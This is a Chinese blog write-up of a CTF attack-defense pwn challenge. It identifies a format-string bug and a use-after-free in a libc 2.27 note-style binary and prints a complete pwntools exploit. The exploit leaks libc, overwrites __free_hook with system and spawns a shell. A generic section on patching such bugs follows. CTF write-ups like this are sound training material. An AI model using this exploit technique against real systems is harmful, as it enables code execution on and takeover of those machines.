ciscn 华中赛区分区赛 awd pwn2

该博客详细介绍了如何利用C程序中一个包含格式化字符串漏洞和Use-After-Free(UAF)漏洞的libc2.27库。作者通过记录、删除、浏览和重写操作展示了漏洞利用过程,并给出了exploit代码,最终实现对系统调用的控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
libc 2.27

record
在这里插入图片描述
结构还是比较清晰的。

申请了一个大小为0x110的chunk。前0x10是mark,后0x100是msg。
在最后八个字节那里,维护了一个单链表。

scrape
在这里插入图片描述也就是删除,但是在删除链表尾的时候有uaf。

browser
在这里插入图片描述
就是输出,上面花里胡哨的也没啥用,然后有个格式化字符串漏洞。

rewrite
在这里插入图片描述可以重新写一下。

backdoor
在这里插入图片描述
也是在做一个输出。

漏洞有俩,一个格式化字符串,一个uaf。
uaf利用半天利用不出来,格式化字符串倒是简单。

exp

from pwn import*

context.log_level = "debug"

r = process("./2")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")


def record(msg, mark):
    r.sendlineafter('>', '1')
    r.sendlineafter('>', msg)
    r.sendafter('>', mark.ljust(16, '\x00'))

def scrape(mark):
    r.sendlineafter('>', '2')
    r.sendafter('>', mark.ljust(16, '\x00'))

def browser(mark):
    r.sendlineafter('>', '3')
    r.sendafter('>', mark.ljust(16, '\x00'))

def rewrite(msg, mark):
    r.sendlineafter('>', '4')
    r.sendafter('>', mark.ljust(16, '\x00'))
    r.sendlineafter('>', msg)


r = process('./2')

record('%50$p', 'sh;')
browser('sh;')
libc_address = int(recvline().strip(), 16)-0x21fb7
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
print "libc_base = " + hex(libc_address)

writes = {free_hook: system}
payload = fmtstr_payload(10, writes)
rewrite(payload, 'sh;')
browser('sh;')
scrape('sh;')

r.interactive()
### AWD PWN 漏洞修复方案 针对AWD(Attack-Defense Competition)环境下的PWN类漏洞,通常涉及内存管理不当、缓冲区溢出等问题。对于这些类型的漏洞,有效的修复措施可以从多个角度入手。 #### 1. 防范缓冲区溢出攻击 为了防止`strcpy`函数引发的缓冲区溢出问题,可以采用更安全的数据复制方式,比如使用带有长度参数的安全API `strncpy` 或者 C++ 中的字符串处理库[^3]: ```cpp // 安全替代 strcpy 的例子 char dest[SIZE]; memset(dest, 0, SIZE); // 初始化目标数组 strncpy(dest, source, sizeof(dest)-1); ``` 这种方法能够有效避免因输入数据过长而导致的目标缓冲区被覆盖的情况发生。 #### 2. 处理内存泄漏风险 当遇到可能导致内存泄漏的操作时,可以通过特定字符终止未预期的行为。例如,在某些场景下利用`\x00`作为字符串结束符来阻止进一步读取不必要的内存区域: ```c buffer[position] = '\x00'; // 手动设置字符串结尾标记 ``` 此操作有助于减少潜在的信息泄露路径,并增强系统的安全性。 #### 3. 加强源码审查机制 由于此类竞赛题目往往包含复杂的逻辑结构,因此建议开发团队建立严格的代码审核流程,确保每一行代码都经过充分验证后再投入使用。特别是在面对较长且容易忽略的关键部分时更要加倍小心[^4]。 #### 4. 实施自动化工具辅助检测 借助专门设计用于发现常见编程错误和安全隐患的静态分析器或动态测试框架,可以帮助快速定位并修正隐藏较深的问题。像提到过的AwdPwnPatcher就是这样一款能自动识别AWD-Lite组件中存在的典型缺陷的应用程序[^1]。 通过上述手段相结合的方式,可以在很大程度上提高软件产品的健壮性和抗攻击能力,从而更好地应对AWD比赛或其他实际应用场景中的挑战。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值